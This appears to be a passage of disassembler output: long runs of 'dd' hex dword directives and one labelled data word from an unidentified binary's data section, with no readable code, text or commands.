dd 0C959DD1Ah, 5C000854h, 0E993CFADh, 905E8830h, 289CB124h
dd 15D06495h, 9C35DA0Dh, 2D994804h, 0A774D27Eh, 56014C40h
dd 0F2E04082h, 0E35588BAh, 76A43A4Dh, 1B42252h, 0F5B7E03Eh
dd 0C434C59Fh, 0BC3913D8h, 0E18460D9h, 0DC23878Eh, 16911F2h
dd 0B89E981h, 0D0F41C7Fh, 15480251h, 0BF64DE88h, 3D05D0C4h
dd 34F3CB74h, 0F12CC8h, 14B8E88Dh, 703F0A71h, 6F4219C0h
dd 7E29DDh, 0CFE1E776h, 0E50F5680h, 20011276h, 959FD2CCh
dd 88A44ADEh, 0A4670FACh, 9A55BE01h, 2C498651h, 0E94394h
dd 0DF0F373h, 0CB40D8ABh, 2A3BDB02h, 402890E6h, 14F3E2Ch
dd 1CE25E04h, 44126E0Ch, 0D340C29Ch, 8A8D130h, 0F5E1B728h
dd 4A40A464h, 0CF3BA8D9h, 1A69E203h, 0F1079C22h, 5AF51EA5h
dd 1C7844E2h, 51971CE6h, 0BC030012h, 0B72632CEh, 152C075Dh
dd 90E91782h, 2BACB4E0h, 9F2FC407h, 9993ECD5h, 23A00924h
dd 782A98D4h, 0BDFA0854h, 0E6792860h, 223B469Eh, 2430EE0Eh
dd 4CAD79h, 143E2FCAh, 4C17FA15h, 0B814B1DBh, 3A0A1004h
dd 68EE6C0h, 448CFADCh, 0EE098073h, 2D09489h, 75BD58h
dd 3761CB70h, 0B839C412h, 0C02CF408h, 909D0150h, 881818FDh
dd 60DD7DEh, 0D9E24A89h, 8A7D6040h, 795B6035h, 0B3642529h
dd 50AEF303h, 0EDFF9537h, 8981DB00h, 15112Ch, 3F244EC1h
dd 3B56FE49h, 0E00D7631h, 9D0C21EDh, 0DC838E08h, 4068C492h
dd 0F98EE41Dh, 60BF2EDh, 0B30F1CF4h, 0F8F89914h, 6F558h
dd 32267B6Eh, 4C43DAC7h, 330A40C3h, 407C2D69h, 909C06BDh
dd 2D22B046h, 0DD5Ch, 0A30D9405h, 13958BBDh, 42204E08h
dd 80258460h, 14D2B080h, 41308C30h, 2450106Bh, 0CAC502B9h
dd 63027DDCh, 4138E460h, 0B00FCE4Fh, 12C3E6D9h, 0DA520718h
dd 0C3BA5C83h, 0E8B8EC26h, 3726FC08h, 9E8A1CC6h, 0BE89BC35h
dd 1A602031h, 15E36B9h, 5B9C1C15h, 4821EBB4h, 0E800E1C8h
dd 43B9DAC5h, 0E2CC3613h, 24890FDDh, 0A2C0D392h, 0F09EE4D4h
dd 0D041F631h, 0F9805594h, 790D6577h, 910039BBh, 0E957EFCBh
dd 3B8ACD93h, 65805EF1h, 54D89CB0h, 3012425Dh, 0D41E43BEh
dd 0A8E40063h, 0C239B725h, 0EC758085h, 674149A8h, 7CAB7C24h
dd 0F5938E3Eh, 8827C0DDh, 4D369D8h, 7ADB9C33h, 0C4B08EA0h
dd 0C330C618h, 93E207EBh, 0B113DB7Fh, 0D04259ACh, 0A0F3E0E1h
dd 1D2B7B4h, 53DD14DFh, 0CE00CC13h, 0F3E57E5Ah, 90008706h
dd 35A2AFD8h, 93A8937h, 1169E382h, 0D1071846h, 5090E006h
dd 402E64F8h, 0D806D909h
dd 3D9B01C1h, 0A184F3Fh, 3CF08FF4h, 38694117h, 0F82614BCh
dd 4CC47850h, 8853B4DCh, 86006B22h, 820A89ECh, 0E4BA9046h
dd 0F24C0740h, 503BEA6Dh, 7379181Ch, 0BB6B2Eh, 0EB5D903h
dd 24D0C5EDh, 0B819365Fh, 0C1FDF9B4h, 94CA07h, 0C68EFAEAh
dd 23549C30h, 55603FC0h, 0D39FF979h, 17C1902Ch, 50B4554h
dd 414EEB70h, 0B09C26A4h, 6BC45016h, 0ECF36852h, 0E400E153h
dd 936FF33Ch, 0C4A32B71h, 0C29F2798h, 0DE205D04h, 5FD0484h
dd 31A4B1D8h, 0C4D80F5Bh, 0C73C2D03h, 997EA839h, 0D740A1FFh
dd 0EBE42021h, 99F603EFh, 97357031h, 2C843BC9h, 0D9E50134h
dd 1A27D37Ch, 1DDAF040h, 8EBD1320h, 3FE04699h, 90138156h
dd 0C20060E0h, 0FFA250Eh, 0DF890098h, 0BA4304C3h, 3C00F5D8h
dd 0AC13F9F0h, 9839D396h, 0EBA0086Ch, 0EF11B799h, 518E9380h
dd 7C52E2DFh, 0B723CAE4h, 4D3CAB00h, 7D760A8Bh, 0A03DE825h
dd 4312CE4h, 0CF78BA35h, 5587C02Ah, 2C921039h, 7E4FE426h
dd 14CB0200h, 12E0D8E6h, 124A4EF0h, 0B65C09ECh, 5C27045h
dd 0D4DF18C7h, 0B2307FECh, 0A1E190Dh, 89D0015h, 0EB862F8Bh
dd 0FF02DDB7h, 84B6074Ch, 6A38C9A5h, 3C626980h, 320D673Fh
dd 98EF9C35h, 925DC290h, 0F8E12790h, 31277800h, 0E21A1385h
dd 0C0D8BA42h, 808039A4h, 0BC2EA9E7h, 0D82022EAh, 0B8C1852Ch
dd 2560E544h, 9E23E179h, 50A1153h, 0C4792D28h, 2045CD0Eh
dd 47DB7C82h, 3B089017h, 34A4BB8h, 0AEBD27ACh, 0E1D8A094h
dd 4A6E1013h, 40136091h, 0C5019479h, 0CE089E60h, 0CFF47434h
dd 73411306h, 58115Ah, 0EC6CAE45h, 0C707E0D9h, 93B13761h
dd 805004E9h, 9BDDDBh, 0BA0A6C6Bh, 0CEE4294Eh, 70A77024h
dd 22C5C69Fh, 203C16D2h, 0B6E460Ah, 68C1E94Ah, 0F60878h
dd 2B15305Bh, 1B874B64h, 7EDEF509h, 0C4FC45EDh, 527A6023h
dd 0D5010F31h, 27C24FE1h, 0B8418757h, 0C6A850B4h, 2D13DB5Bh
dd 3800E3F1h, 0C706E03Fh, 331401D8h, 7CE193D7h, 38C0924Eh
dd 6F23982Fh, 6168F207h, 0E0B1BD42h, 3D9D4B30h, 80EF148Bh
dd 0B0C7B964h, 9743166Ch, 0E706CA02h, 0EC712890h, 18E00466h
dd 6CBAFCD7h, 58C44685h, 98B7C7E8h, 12C1729h, 90E606CFh
dd 7B2E0E20h, 0DC6502A4h, 0CE82F56Bh, 68402969h, 34905C49h
dd 0BCEB6C12h, 45B43C32h, 80F1EFDCh, 952B7951h, 7F8E00A7h
dd 0F0E10ABBh, 60924676h, 63459C14h, 0B5706230h, 7E10054h
dd 6DF8B990h, 7D738D00h, 11AC0EA9h, 0E2190066h, 0EFEA6870h
dd 0DF008C0Bh, 3777A586h, 51B848h, 0D5AD230h, 2F2A3DEAh
dd 0B5740807h, 1DF74335h, 0EB6D6440h, 82213076h, 0B06A13FCh
dd 19E87970h, 0DC203460h, 0A6218Eh, 3299DF31h, 61902BC2h
dd 0BAD148C4h, 0A821B037h, 0CE171E9h, 2221C005h, 6EB92188h
dd 0B2035200h, 0EA9F929Ch, 505067A2h, 60AAE05Eh, 78003E17h
dd 0FE3A3089h, 1EDDCEB0h, 0B6D63h, 74A38F04h, 0FC0CAF9Fh
dd 8B7E739h, 20666003h, 1CA2F15Dh, 637193Fh, 6945B26Ah
dd 600B3AC9h, 9108861Bh, 7D441AC0h, 0FBC2D100h, 0B3B51C97h
dd 0C04FE896h, 7D4D7921h, 0D6399558h, 82C00354h, 98496612h
dd 36AA678Fh, 0A8B0530Eh, 8D07CC46h, 189F76A3h, 53400FC4h
dd 6BF8A387h, 0EDAB802h, 201E49AAh, 0A1BBC667h, 95E5DF00h
dd 46CB3032h, 7F68C65Dh, 6400404Fh, 0AB20444Eh, 0E09CA6h
dd 4CB6EEEDh, 95E884A2h, 75BC6C01h, 972E6462h, 694790D3h
dd 0B82700C3h, 0B56C3B32h, 70007172h, 638B4E17h, 3F128F74h
dd 0E581D725h, 0F8C69ADCh, 0CFDEC077h, 80903E3Eh, 38A08F82h
dd 0DABDF1h, 3489ED1Bh, 407BB907h, 0C621A300h, 0A14E5492h
dd 338A0FF1h, 9C5FBB8Bh, 5C6B4136h, 705AFF89h, 0F40EB2FDh
dd 0C1D8E411h, 34363F44h, 0B8E5588Eh, 4074309Ch, 3100B37Bh
dd 0FDFCBED4h, 787D855h, 0DA0E7D70h, 0CC9190D0h, 50005A3Eh
dd 0BB976030h, 0E82CCD11h, 0C6C300BEh, 74A8CA9Eh, 0BD030B56h
dd 89F4AEE8h, 7C001DAh, 0B4F6C260h, 4369D803h, 0BEA47000h
dd 0BF3E910Ah, 4FDA00C8h, 8163997Fh, 0B9C0516Bh, 0E5E74360h
dd 0E467C16h, 0CEF70C64h, 0A521AEC2h, 136F8A00h, 0D23200A8h
dd 904BC914h, 0FE0081D5h, 0BF38DAE3h, 305C55h, 0DBC0A378h
dd 2BEBED44h, 2CCF5B00h, 0DA19FD11h, 424B0098h, 27926DF2h
dd 9A02076Bh, 1A032102h, 4E60F5C3h, 4A00743Eh, 315F636Eh
dd 0E119975h, 8FA5E10Ch, 0AA294DE0h, 20008B79h, 0DF982F69h
dd 0E06C173h, 0AE4C4776h, 3A8031C0h, 0A40E2C8Eh, 0C0A0BAD2h
dd 7A7F4BF6h, 0B6110094h, 8DC0815Eh, 3E73DC2Bh, 6D59F900h
dd 74016641h, 0E1040306h, 0A6D1D530h, 9A3180ECh, 0C07F0C9Dh
dd 0C8573300h, 15C41FC5h, 4A5A0067h, 7B50168Eh, 0BF004D6Eh
dd 7A72E836h, 66878h, 41DE9B43h, 291B832Fh, 3828D400h
dd 1124CDCFh, 0FD810F7Dh, 0B0804FFAh, 0F2C4F3B4h, 0C06C911Eh
dd 0C98EACF0h, 68B4A09Dh, 67070087h, 2E285E51h, 3290393Dh
dd 6ED0B4A0h, 33001476h, 0E72B2C8Dh, 0A6FF30h, 978280F5h
dd 2A679D68h, 73EF1A00h, 0E3C2B6B1h, 7CDEECBAh, 0EDDC14FDh
dd 0F500EC86h, 0ACB54A82h, 72072E02h, 8AD7692h, 1F38AF30h
dd 0E2241C63h, 0D89180F3h, 0EE3E6CB5h, 99E0FB07h, 0C4002717h
dd 3363B5Ch, 8BEC8E49h, 0CBA92A4Ah, 0EEF6D02Bh, 7C8D5300h
dd 3A255809h, 0BEC20703h, 1031EC48h, 0A195DDC5h, 12F0BFh
dd 8BEBD920h, 0CC681022h, 2F007B79h, 5BF14E36h, 5E9B101h
dd 0D46C158Dh, 8ED800E4h, 0A61C7BC3h, 2705FD00h, 0F1BD30F3h
dd 0AD70F17h, 0C05D505Eh, 0BEB8B544h, 0D43F3486h, 56520078h
dd 0E111FE25h, 0F40F0012h, 8E6AB792h, 7F00BC7Bh, 0A29C7DCBh
dd 60D9ADh, 8F86B96Eh, 0FB84019Dh, 4BFE4F01h, 65DCDAC0h
dd 0B72DF8h, 750C25B6h, 557F2856h
db 0, 44h
word_544F42 dw 0C3B1h ; DATA XREF: ___:off_4374C0o
dd 6C8F77DDh, 371A00F3h, 201B6A80h, 45004333h, 0D8B57A51h
dd 3B0D7F82h, 6001934h, 0EF2CCBE1h, 0C51C8832h, 0FF01C30Eh
dd 0E7F1FAA0h, 5C964BDCh, 3E0076D7h, 0D24E3B01h, 0B1009D93h
dd 0C91E3F5Ah, 9C8009h, 3B40C0F6h, 9308607Fh, 0E5AA1F0Fh
dd 91F860F1h, 4809Eh, 4AD50DFAh, 0E2E0CF54h, 3A8C9500h
dd 1AD20AB5h, 4B8E009Eh, 0FF93FCABh, 4A7CFA9Ch, 0ED597A03h
dd 0D00C8AC6h, 0C076890h, 0A196F3F2h, 0B011128h, 87E6C380h
dd 0E82492D0h, 9453005Eh, 0B452355h, 630022F1h, 10C12E40h
dd 78300F1Bh, 90B40015h, 0F994FA8Eh, 9C00239Bh, 0A341DA7Ah
dd 481B16h, 58D0CC4Bh, 0E4B98C9Fh, 0BE892C00h, 462EAF4Fh
dd 105FC4Dh, 0D7F39818h, 0E4D6CC6Fh, 572608B4h, 5C006429h
dd 0EE231A1Ch, 0AE75C5h, 5F60F62Fh, 38F57902h, 6C2A5600h
dd 0B8119CCh, 0A4BB0EB8h, 8C2E151h, 8F602FD3h, 25023815h
dd 0CBA276DDh, 0EE544002h, 7B670458h, 0C34520BFh, 0E5E0F355h
dd 78C42EA2h, 31C0318Eh, 0F7066E7h, 2B902339h, 0F3562AC0h
dd 9272C3DDh, 0FD2239h, 0AA7F295Fh, 3B43DD0h, 4E0ACFD6h
dd 0F098796Ch, 0AB009C1Eh, 2D89A872h, 6D8725h, 90DC2E1Ch
dd 4595169h, 0D18AD70h, 191812F3h, 0BA2D3A93h, 58163280h
dd 0E4ADC2E6h, 2704EEEEh, 6CB840D8h, 113571C0h, 4B29037Fh
dd 41EFF5F4h, 5AFD4000h, 1CDA2B06h, 0E68C0348h, 0B5B991BEh
dd 8FC460A0h, 0EFCAE100h, 890F7025h, 8E1E01AAh, 0ADA4667Dh
dd 0CE2030D4h, 0BB260409h, 0AFD80025h, 143FF4FDh, 9038F929h
dd 98ED3403h, 0E5F028F7h, 7F0066FCh, 678353D0h, 38A6FBA5h
dd 88707A2h, 0F0F3816Bh, 0A0D12086h, 2F6DA8A8h, 0B11B3800h
dd 0B2D2619h, 9D54005Eh, 7F972811h, 98008216h, 4B4F2391h
dd 0D9B992h, 0AB4280FFh, 0C44A62CCh, 2A1DDD00h, 0FE387393h
dd 0F459002Dh, 9AE93D3Ah, 360612B0h, 0D3F2ABDCh, 0D2040BB0h
dd 27823F38h, 30494F4Bh, 0E40321B5h, 0D60E4D5Dh, 0FC613F31h
dd 20104494h, 0F301FF79h, 0CC8AD45Ch, 7814E948h, 4627448h
dd 7FFE9866h, 1BEBAF80h, 2FC50014h, 4D55A0DFh, 38A02CEFh
dd 8A00A5B0h, 7B72A139h, 3282DAh, 1B57AD8Eh, 8147AE24h
dd 535050C7h, 13409A80h, 0D9C70026h, 3A328E42h, 2D54A08Dh
dd 3B836D60h, 0C8E0D612h, 3268FD42h, 2B0E38B2h, 8333DB7Bh
dd 45A1D2h, 0E9A413C8h, 0B9321765h, 3D0E3600h, 0A36CD0ADh
dd 261101E8h, 2BD27035h, 0C9F5E40Fh, 0B05C1600h, 0D8D9907Eh
dd 70B8DBh, 5352EA96h, 0D3337A42h, 0C8D6E200h, 61A9646Dh
dd 73A6003Bh, 0FB88D1EAh, 0B10357CFh, 556781D9h, 20980015h
dd 0BB5E1A8Ch, 0E700AAB5h, 69A83DCDh, 0C05113DEh, 8BFB2AE1h
dd 0BA03C995h, 0A5E7847Bh, 48A9FA79h, 0F21396D4h, 0CB8D000Dh
dd 0EF7A5AE5h, 0FC0D8C5Ch, 6828B889h, 0B75330h, 1E54AF7Ch
dd 0BE31B210h, 0E2830F07h, 90E0D671h, 3123D939h, 14303BAAh
dd 29EBCBCDh, 0B74989D8h, 0D518120Ch, 6F135136h, 2343A14Ah
dd 0D8541684h, 17032B34h, 1B8C15D0h, 0DCCAE8A4h, 0D9830E37h
dd 2F892E3Ch, 4F33A021h, 0B487C448h, 59073A73h, 31E52A85h
dd 75EB5C0h, 0F751C36Fh, 71074E13h, 0C40DD53Bh, 6C795730h
dd 0CA2C03D6h, 0DA0B98CFh, 0EE187EB8h, 44547C50h, 0FC9EC88h
dd 41A126FDh, 51A05AE0h, 0D060CB2Bh, 91F0C64Ch, 0CA2209ECh
dd 0B68015F7h, 0A908B856h, 52CD513Bh, 5E200C8h, 0A763451Fh
dd 1ABE00B3h, 0B0F6DDD8h, 340ABDAFh, 0F0276721h, 0BA245B83h
dd 4991A82Fh, 4EE73C8h, 1D4AC3ADh, 40504358h, 2C04F0D3h
dd 0BEE0374h, 202E87E3h, 8081DD8Ah, 800A5C1Eh, 3FC9C2D1h
dd 82D37Bh, 0C36DBA11h, 65B4C40Eh, 3A1CAE00h, 108FAD45h
dd 1261C05Fh, 0B7F71B2Ah, 0DA430B07h, 3113A160h, 1CEED0ACh
dd 125A0E6Bh, 71381A3Bh, 8503F2DCh, 6ECEA3C1h, 0C931D88Fh
dd 43490073h, 0B0184C30h, 690FE660h, 181B53F2h, 7CF4439h
dd 3BE27F3h, 8E9BD01Dh, 120097CCh, 6759653Dh, 0E63C8A74h
dd 0BE640049h, 0D562110h, 950E480Eh, 8082DC12h, 0B74F2946h
dd 4EF03A1Fh, 20660A12h, 3B0FC42Ch, 7349F300h, 0CA3E4C69h
dd 0D49700ADh, 0EF036EABh, 6F15D5BBh, 9824B8h, 2269B63Dh
dd 7E26A420h, 0E006EA8Ah, 19820C78h, 1329295Dh, 1985354h
dd 75F5BC0Eh, 64894797h, 99C4DA00h, 74E01EA2h, 715E8087h
dd 4C7C8890h, 0DF92D900h, 0F179BF2Ah, 691E0521h, 80F261AEh
dd 0C129A3ADh, 0A6826E09h, 0AAAC203Ah, 49566DA5h, 0E000E0BBh
dd 2D508EAFh, 0B6000713h, 8426CAFDh, 48116Fh, 4FEF596Dh
dd 61ED362h, 94006C91h, 86A9A591h, 6316002Dh, 0F8BFA864h
dd 0E500039Eh, 19FF9B89h, 39A977B0h, 1E1E7A69h, 2CAE4054h
dd 2AB7480Bh, 22EE0C0Eh, 643103A7h, 0A0D89209h, 0A36F61B4h
dd 0FDC80072h, 1C2D541Fh, 2C0074BEh, 0EF86360Fh, 4CF4A658h
dd 0A01258DFh, 0A78469Fh, 3301A137h, 204A1E6Bh, 0B4C07441h
dd 0B0F401ECh, 3EA3A1FEh, 0E802210h, 609C8B5Dh, 4B7EAF48h
dd 305C7BBFh, 0DC215613h, 3074369Dh, 899C209h, 41A0980Dh
dd 66E81D16h, 7B9DC0A9h, 0AAD19729h, 70517E11h, 0BE8AE631h
dd 9DEDE866h, 0DEE54100h, 622F5E74h, 93A607C8h, 20D290FFh
dd 282C05BEh, 0FB00509Ah, 0ED685AB9h, 0E4D996B1h, 76F0020Fh
dd 94105B22h, 12BCB084h, 80A7C808h, 0DE0265FBh, 7D007E49h
dd 84AB18B3h, 1C19D923h, 9C20BAh, 2D9B79EFh, 0E628484Ch
dd 0FB54C8FAh, 4900AE6Ch, 0DE5BBE26h, 0CF022D7h, 33A5A903h
dd 2A540721h, 4800EBB4h, 7C78B9E4h, 29605FAEh, 3C867BAh
dd 8AF1935Eh, 21CA638Bh, 47EFD360h, 0EDA0C609h, 5498003Bh
dd 75857895h, 0B1BA00E7h, 905A7DF3h, 0DA3834CEh, 88252AB4h
dd 0EFF98D00h, 0D181ABC2h, 186F024Ch, 24679415h, 0C9B64C80h
dd 4500A7C3h, 4F0D5A17h, 2CDBBACh, 1854EFC1h, 8080E98Dh
dd 5EFC041Dh, 2462E9h, 0B43B9E33h, 0F4FF7F5h, 7FAFB122h
dd 0E9DF9142h, 0A5902261h, 71128C26h, 99A401D1h, 0A9A2621Dh
dd 0AA76F0AEh, 2F855406h, 0B9871Bh, 86C50992h, 0EA5BAEE7h
dd 2DEF2C00h, 0A70BB969h, 23DC02B1h, 712661Eh, 68030864h
dd 324D781Ch, 2EF388C2h, 0A80B0E31h, 0A50098FCh, 5DF4F208h
dd 1694121Fh, 916FB780h, 3C67959Dh, 0C8094C3Ah, 0DC985B19h
dd 215F6F87h, 989063C4h, 0F8EFFh, 0E8463B8h, 0AF364891h
dd 1E479703h, 262EB429h, 1E9013C1h, 3EA13C9h, 1B497D28h
dd 720BCEF8h, 1C8961C0h, 0C3AB53h, 0E73CCB6Dh, 0CE528AD1h
dd 0A7301E00h, 0DFAE8510h, 516F26A8h, 0F5710359h, 41001807h
dd 0DD567521h, 186F26Bh, 0D51F1D9Fh, 0C3929024h, 61831EA8h
dd 0BF892103h, 126EF19h, 0E3638B39h, 20788288h, 5E0CB7C3h
dd 20177BADh, 7F687DA5h, 0E7B507ACh, 5AA1056h, 9580401Fh
dd 41F58B2Ah, 6B2FE2C0h, 9FFCBFh, 543AFCCh, 0C3904FAEh
dd 2E98E500h, 3ED07DD9h, 8C86542Bh, 0F131006Ah, 0DCEEB7EBh
dd 0D000D58Ah, 40A4FB63h, 2693E405h, 42BCFD82h, 88E675CDh
dd 92D66007h, 33C02CD7h, 56856Ch, 7DAA57A5h, 36D0C9C0h
dd 23F70B0Eh, 0A9821D9Eh, 488D66C6h, 78FCF3Ch, 0E54DFA6Ah
dd 0D6F9F0EDh, 7B00C424h, 8206E119h, 0FAFAA26h, 0D5BD446Ch
dd 488C2033h, 0A22EFD91h, 7E00E3B3h, 0A668D9EDh, 78830275h
dd 21CAFB2Fh, 0F10524C0h
dd 0D1F9F61Ch, 3EB600F9h, 5BE878ABh, 56DE2C68h, 0B9244058h
dd 1000F827h, 0EAFBCD80h, 1CC87889h, 836442F0h, 35B87A0Ch
dd 0C9038100h, 239A994Eh, 83D91C6Eh, 49DC135Eh, 0F08858FCh
dd 86040D0h, 0A21C7A70h, 6A80BF80h, 0ED445B0Eh, 0DE64543Dh
dd 0C8E1489Eh, 96F70EC0h, 6300C73Fh, 53A40350h, 0C08267A9h
dd 0ED25E721h, 8E3FECC6h, 39D600D0h, 19CF6312h, 5BDC0ABEh
dd 2CE4EFB7h, 0F5D60DCh, 80001F1Bh, 8CDAE87Dh, 1C6022DFh
dd 8C371667h, 64B11536h, 6339B600h, 0C3878B25h, 9F8E00DAh
dd 29D6049Ch, 1C922DBEh, 4CB01E04h, 0D48152EAh, 604766FAh
dd 6B230CE0h, 1A79F0h, 9D44D503h, 0A8EB7B0Eh, 4847994Ah
dd 9B0EB548h, 25F9D851h, 9D3503E2h, 55931A74h, 498EDBC8h
dd 0B037290h, 1EC9C38Ch, 7487A021h, 0E6FD2498h, 0D9C00001h
dd 4B64A088h, 15620C03h, 2099A9h, 618BF791h, 0BE2ED543h
dd 9C1F7701h, 665DE575h, 342983FDh, 494C1300h, 0B88E92Fh
dd 5A1DBF00h, 0FA835362h, 0D9A509E7h, 0BC4B2724h, 0E675A190h
dd 9D8AF1Fh, 0B7210E04h, 3B49488h, 3088EEC4h, 0D9D04E23h
dd 0B717496Ch, 48000961h, 1AABEDFAh, 0F3AD1324h, 0D5E800A8h
dd 0EB67E8BDh, 7B900860h, 0DC8AF2h, 0D83D6C5Dh, 5244BBB3h
dd 91CDFB00h, 59E97B61h, 1B072475h, 10D8804Ch, 9B69D464h
dd 0B5FCF100h, 49E13968h, 45513CF6h, 0A400E838h, 0B0184BA6h
dd 680FB11Dh, 725C4881h, 54BC6021h, 246CA5F0h, 80204D56h
dd 0FDBD9819h, 4A1B020Bh, 0C7F05901h, 4EC14028h, 0AD314449h
dd 7D0AC117h, 7F439980h, 210C60F2h, 45801491h, 9120BDFFh
dd 0B5124E9h, 9C202758h, 59EA81DCh, 0A3C30D00h, 0EE701E28h
dd 0A5E803EBh, 1F306EAFh, 198E1DC0h, 94030B12h, 9B339030h
dd 4A1000F4h, 22EF7CF3h, 137A7012h, 16B6DC0Fh, 9820D683h
dd 4CF8A120h, 0EF01D04Ch, 0B830CF28h, 0EAB9801Ah, 9F0A8985h
dd 918C1F4Dh, 0EEBE4553h, 2C54C813h, 0C15DB100h, 0E85C9807h
dd 2B540795h, 3BC4CD06h, 740A8410h, 5A004176h, 4FD76181h
dd 227AA32h, 1A7788FBh, 0C4C00A30h, 6C18D292h, 5A3921B8h
dd 0DC6100B2h, 5BB451EEh, 681F5E91h, 0FDC11356h, 9E09B0EFh
dd 83824E5h, 0AE827783h, 5794A4E4h, 6850CF33h, 3222D3F9h
dd 114034B9h, 8B1246C0h, 44E06C00h, 3634B6Dh, 0E4AE4CC0h
dd 20362017h, 5C1EB2E4h, 0D0B8D31Ch, 96483740h, 0F91A64Ch
dd 1998FDADh, 0A59D2CA0h, 81E0ABDEh, 0CA4E39C0h, 72956Ch
dd 65D8792Eh, 1E2B3F80h, 6D00389Ah, 389D1D49h, 0A066EDC0h
dd 518A8Eh, 0B11E4EC2h, 0E87E9F56h, 2EFF601h, 0AC954321h
dd 200E4C2h, 9E2ABE0Dh, 574055D5h, 70024D3h, 0AAE55BDFh
dd 2C454EEh, 23E0B437h, 8CA70862h, 0DB6FB083h, 2CB1109Fh
dd 9DFD8780h, 229A862h, 5B85B21Bh, 10E407FAh, 4D887104h
dd 82FC0Dh, 0B7FD80CAh, 1D045A4h, 0AEC50320h, 20793954h
dd 0CCA1F6A0h, 64A99219h, 81E04C90h, 0CD4148DFh, 0D6FB0076h
dd 51AFE7A5h, 825801E4h, 0C780DD34h, 0E146AEFAh, 0C195C25h
dd 80C89E77h, 58E56D4Ch, 40C1AA4Fh, 0C333B66h, 54362DE0h
dd 0A018C030h, 0B1124E64h, 9E020078h, 8A94BAD6h, 87FE6300h
dd 924451DBh, 9B783034h, 77C1C950h, 1B360807h, 68CC5B47h
dd 65F02654h, 896C18B0h, 0D40EB9BAh, 1F8BD391h, 5F7F007Ah
dd 302CEE09h, 0B4A0751Eh, 0D0B5011Ch, 2D125E0Ch, 41C004Ch
dd 512871F5h, 7E7F04D7h, 8E918h, 365C6D2h, 676900EFh, 11E8DB9h
dd 4E88276h, 251557E2h, 51B01B83h, 0D839A0EBh, 7F004D7Ch
dd 98EF69E1h, 0E2D84414h, 0E3480E02h, 21F22E57h, 2235DA84h
dd 0B8611E00h, 0F6FAF800h, 961277AAh, 8B3E8080h, 9F6DBD85h
dd 4E9E5Ch, 0CEC6AD7Bh, 711D5040h, 0AA2703A2h, 66D0F616h
dd 0E1B95AF9h, 0C07EFC5Eh, 5B4A9009h, 34C0E812h, 0ABF900D5h
dd 0FD753E08h, 0F20EF720h, 0C26A72EBh, 400347E4h, 37D45FB2h
dd 0B0A12535h, 61690B97h, 9F7A1400h, 8B40F55Eh, 4BA07D1h
dd 0B1C160h, 130827A5h, 0A66AEE16h, 4482C15h, 19E7FB6Ch
dd 58AF3CF0h, 30580AAEh, 0C900C12h, 0DF281DE0h, 601FAB78h
dd 48FFB392h, 0C74CC190h, 7730836Bh, 8EEE45h, 4BEF65AEh
dd 9520D5B2h, 32780B1h, 0A398ABF8h, 2201A113h, 1979D450h
dd 89D50052h, 0FD38ED48h, 0A9242CA5h, 0A42C64F6h, 21266811h
dd 813C6564h, 842EB41Eh, 0E8199411h, 0A41C1488h, 0F76C7AACh
dd 8BE670h, 73989D67h, 0D5D11CDCh, 0BF07181Fh, 0A98800E5h
dd 72AA157h, 0A6EF37FDh, 0B5426069h, 0B62CEE12h, 460C4C0h
dd 1334447h, 6256358Ah, 0D08E49FEh, 0C8025E9Ah, 0CE68CBB3h
dd 1F54E09Ch, 326ECE0h, 971D79BEh, 0B8103476h, 0A9152EA0h
dd 0E0508407h, 20464FB7h, 583E0CCh, 9B499201h, 0CA45C1A9h
dd 348FED0h, 56D66195h, 0E9004C57h, 0E6FFC1B2h, 3C3D3CA6h
dd 0BE82C988h, 9E678F21h, 3E433468h, 16730D00h, 57067CE1h
dd 0F1F90ECBh, 82A0997Ah, 0A478B652h, 0C855A924h, 0EEBF7F40h
dd 0E9DD0071h, 181A1C20h, 0CD002DB8h, 5C2EA66Fh, 5546A68h
dd 93A4953Ch, 131380E7h, 0ECB9A344h, 3A5BEF00h, 3CD4C2FEh
dd 2A2D1E2Fh, 0B00878B8h, 85636701h, 33D95B19h, 5D03F02Dh
dd 261B181Eh, 94EE00C4h, 12C4616h, 2738D070h, 7073FC19h
dd 1CE04360h, 5C74A8A8h, 0C700BBECh, 57AE33E5h, 0E29EEEh
dd 0C81DD5F7h, 51953B87h, 2D042898h, 2662B1DDh, 6DA97880h
dd 29C70725h, 8E569E0Eh, 212A72C3h, 0D519C6B0h, 0D950ED50h
dd 5AE0A4F2h, 13149F16h, 0FEA84090h, 0E4DD0045h, 43D06D80h
dd 1900C568h, 0CD2C2257h, 0F45456AEh, 0DCAB2AA9h, 11D50094h
dd 701DAFE3h, 0FA758E0Eh, 904B90B6h, 276A684h, 48D40E6Eh
dd 6C529844h, 0E5577A02h, 0E13F3AC4h, 0E8FCF010h, 70A17417h
dd 6731009Eh, 0B7480940h, 69686403h, 2700E779h, 0E8893E0Eh
dd 87302C68h, 12283246h, 5E00D059h, 6B1AC235h, 319D0381h
dd 5DB279E9h, 0ECA819A3h, 0F925A36Fh, 4E401098h, 54910006h
dd 0D1770BE0h, 0CE01B65Fh, 0A51AAA08h, 0A8326221h, 408C2C2Ch
dd 890D33EAh, 7A5A1F02h, 7DE286B5h, 913B41C0h, 779EB605h
dd 0FCC1E9CDh, 7023C288h, 0CF646600h, 9AA743D2h, 0FE10B712h
dd 0EC908600h, 0B1F5B1Ch, 0A1190EEEh, 0DB64010h, 2D268898h
dd 4937625Ch, 21544859h, 0A9BB0F68h, 0AE806773h, 7B084C3h
dd 6DEDB41Dh, 902DE489h, 0F4139D64h, 0DCE870h, 0EAE9535Bh
dd 6BA1C75Ah, 28297500h, 0B0F3BBC4h, 61706E06h, 0DD55C0DCh
dd 21096A04h, 8970A64Ch, 0A84C8484h, 0A994CCh, 0B63E963Fh
dd 19FF4473h, 0C9E2E930h, 0F7E8B4h, 0A6081DEFh, 7FD9C913h
dd 0FA004098h, 87C6158Ch, 13A2E358h, 0C8D169E7h, 7BE4E0B8h
dd 0EE091AF4h, 531B45h, 0CBDE2288h, 7E4A40Bh, 25695E77h
dd 4DE08F51h, 97450F03h, 1E01D52h, 83D5E24h, 0E8CCC020h
dd 87EE049Fh, 0C02F2A95h, 0CE430229h, 812C564Ch, 0B7555D42h
dd 0EFF03CE9h, 0EE08005Ah, 50AEE004h, 0C40FBE48h, 0C36C89CAh
dd 0F0C85620h, 889CABh, 940A5B74h, 0B434A317h, 21BA4000h
dd 2B59DEE3h, 0D75E2CD9h, 0C07080B4h, 1DF2A9EFh, 0CE780184h
dd 1E0E13FDh, 0F4A1605Ch, 9FB51F00h, 38EB126Bh, 13A00033h
dd 915BFCB2h, 373F100Dh, 4C4E83FDh, 0A8C4D9CDh, 14AFEA3Fh
dd 0D476F5C6h
